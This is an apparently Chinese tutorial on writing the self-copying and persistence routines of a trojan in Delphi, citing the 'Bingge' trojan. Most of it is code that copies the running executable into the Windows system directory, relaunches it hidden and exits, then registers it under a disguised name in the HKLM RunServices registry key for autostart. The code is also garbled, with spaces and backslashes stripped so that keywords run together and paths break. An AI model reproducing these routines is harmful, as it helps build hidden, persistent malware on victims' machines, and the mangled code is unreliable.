Delphi实现木马自我拷贝方法
木马实现自我拷贝的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,继而退出旧程序.
本例即以Delphi实现木马的自我拷贝。
首先打开Delphi,新建一个工程,在窗口的Create事件中写入如下代码:
procedureTForm1.FormCreate(Sender:TObject); varmyname:string; begin myname:=ExtractFilename(Application.Exename);//获得文件名 ifapplication.Exename<>GetWindir+mynamethen//如果文件不是在WindowsSystem那么.. begin copyfile(pchar(application.Exename),pchar(GetWindir+myname),False);{将自己拷贝到WindowsSystem下} Winexec(pchar(GetWindir+myname),sw_hide);//运行WindowsSystem下的新文件 application.Terminate;//退出 end; end;
其中GetWinDir是自定义函数,起功能是找出WindowsSystem的路径.
functionGetWinDir:String; var Buf:array[0..MAX_PATH]ofchar; begin GetSystemDirectory(Buf,MAX_PATH); Result:=Buf; ifResult[Length(Result)]<>''thenResult:=Result+''; end;
如何能使程序能在windows启动时自动启动?
为了程序能在Windows每次启动时自动运行,可以通过以下途径来实现.“冰河”用注册表的方式。
加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:
procedureTForm1.FormCreate(Sender:TObject); constK='SoftwareMicrosoftWindowsCurrentVersionRunServices'; varmyname:string; begin myname:=ExtractFilename(Application.Exename);//获得文件名 ifapplication.Exename<>GetWindir+mynamethen//如果文件不是在WindowsSystem那么.. begin copyfile(pchar(application.Exename),pchar(GetWindir+myname),False);{//将自己拷贝到Windows/System32下} Winexec(pchar(GetWindir+myname),sw_hide);//运行WindowsSystem下的新文件 application.Terminate;//退出 end; withTRegistry.Createdo try RootKey:=HKEY_LOCAL_MACHINE; OpenKey(K,TRUE); WriteString('syspler',application.ExeName); finally free; end; end;